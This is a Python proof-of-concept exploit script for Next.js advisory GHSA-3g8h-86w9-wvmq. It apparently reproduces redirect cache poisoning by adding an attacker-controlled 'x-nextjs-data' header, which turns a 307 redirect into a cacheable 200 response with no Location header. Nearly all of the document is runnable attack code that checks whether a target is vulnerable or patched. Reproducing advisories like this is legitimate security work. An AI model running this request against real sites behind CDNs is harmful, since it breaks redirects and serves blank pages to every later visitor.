#!/usr/bin/env python3 """ GHSA-3g8h-86w9-wvmq — `x-nextjs-data` redirect cache poisoning / DoS ==================================================================== Usage: TARGET=http://localhost:3000 \ REDIRECT_PATH=/redirect-to-somewhere \ EXPECTED_DEST=/somewhere \ python3 exploit.py Background ---------- Pre-v16.2.5, Next.js used the *inbound* `x-nextjs-data` header to decide whether a request was a Next data request. That decision in turn selected between two response shapes when the route resolved to a redirect: * Without `x-nextjs-data` -> 307 Temporary Redirect + Location header * With `x-nextjs-data` -> 200 OK + JSON + `x-nextjs-redirect: ` Because `x-nextjs-data` was a *header an attacker can set*, anyone could turn a perfectly valid 307 redirect into a 200-OK-with-no-Location response just by adding the header. Browsers render a blank page; CDNs cache the malformed response and replay it to every subsequent user. """ import os import sys import urllib.request import urllib.error R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m" class NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, *_a, **_kw): return None def fetch(url, headers=None, timeout=15): headers = headers or {} req = urllib.request.Request(url, headers=headers, method="GET") opener = urllib.request.build_opener(NoRedirect()) try: with opener.open(req, timeout=timeout) as resp: return resp.status, dict(resp.getheaders()), resp.read(4096) except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read(4096) except Exception as e: # noqa: BLE001 print(f"{R} network error: {e}{N}") return 0, {}, b"" def header(d, name): for k, v in d.items(): if k.lower() == name.lower(): return v return "" def main(): target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/") path = os.environ.get("REDIRECT_PATH", "/redirect-to-somewhere") expected = os.environ.get("EXPECTED_DEST", "/somewhere") print(f"{B}{'=' * 67}{N}") print(f"{B} GHSA-3g8h-86w9-wvmq — x-nextjs-data redirect cache poisoning {N}") print(f"{B}{'=' * 67}{N}") print(f" Target : {target}") print(f" Redirect path : {path}") print(f" Expected dest : {expected}\n") # Step 1 — baseline print(f"{Y}[1/3] Baseline — normal redirect (no x-nextjs-data header){N}") b_code, b_h, _ = fetch(target + path) print(f" HTTP {b_code}") print(f" Location : {header(b_h, 'location') or '(none)'}") print(f" x-nextjs-redirect : {header(b_h, 'x-nextjs-redirect') or '(none)'}\n") # Step 2 — exploit print(f"{Y}[2/3] Exploit — add header x-nextjs-data: 1{N}") x_code, x_h, x_body = fetch(target + path, headers={"x-nextjs-data": "1"}) print(f" HTTP {x_code}") print(f" Content-Type : {header(x_h, 'content-type') or '(none)'}") print(f" Location : {header(x_h, 'location') or '(none)'}") print(f" x-nextjs-redirect : {header(x_h, 'x-nextjs-redirect') or '(none)'}\n") # Step 3 — verdict print(f"{Y}[3/3] Verdict{N}") loc = header(x_h, "location") nxt = header(x_h, "x-nextjs-redirect") if 200 <= x_code < 300 and nxt and not loc: print(f" {R}x VULNERABLE — server returned 2xx with x-nextjs-redirect" f" and no Location header for a non-data URL.{N}") print(f" {R} CDNs will cache this; browsers render a blank page;" f" real redirect is broken.{N}") print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}") sys.exit(0) if 300 <= x_code < 400 and loc: print(f" {G}v PATCHED — header was ignored; server returned a proper" f" 3xx + Location.{N}") print(f"\n{G}>>> RESULT: FAIL (target appears patched >= v16.2.5) <<<{N}") sys.exit(1) print(f" {Y}? Inconclusive (HTTP {x_code}). Body sample: " f"{x_body[:200]!r}{N}") sys.exit(2) if __name__ == "__main__": main()